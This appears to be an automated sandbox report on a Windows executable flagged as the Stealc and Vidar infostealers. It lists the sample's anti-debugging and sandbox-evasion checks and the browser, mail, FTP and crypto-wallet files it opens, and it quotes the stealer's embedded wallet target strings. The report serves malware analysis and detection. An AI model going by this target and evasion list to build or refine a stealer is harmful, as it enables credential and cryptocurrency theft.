Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7008

Thread sleep time: -30015s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FD4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FCDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00FCE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FC16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FCF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00FD3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FCBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00FD38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00FD4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00FCED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FCDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC1160 GetSystemInfo,ExitProcess,

0_2_00FC1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2052582500.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2052582500.000000000079E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14707
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13519
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13516
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13536
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13531
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13571

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00FC45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00FD9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FD9750 mov eax, dword ptr fs:[00000030h]

0_2_00FD9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FD78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00FD78E0

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6860, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FD9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00FD9600

Source: file.exe, file.exe, 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: HDmProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00FD7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FD7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00FD7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FD7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00FD7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FD7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00FD7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.fc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2052582500.000000000079E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1775454055.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6860, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6860, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6860, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.fc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2052582500.000000000079E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1775454055.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6860, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6860, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
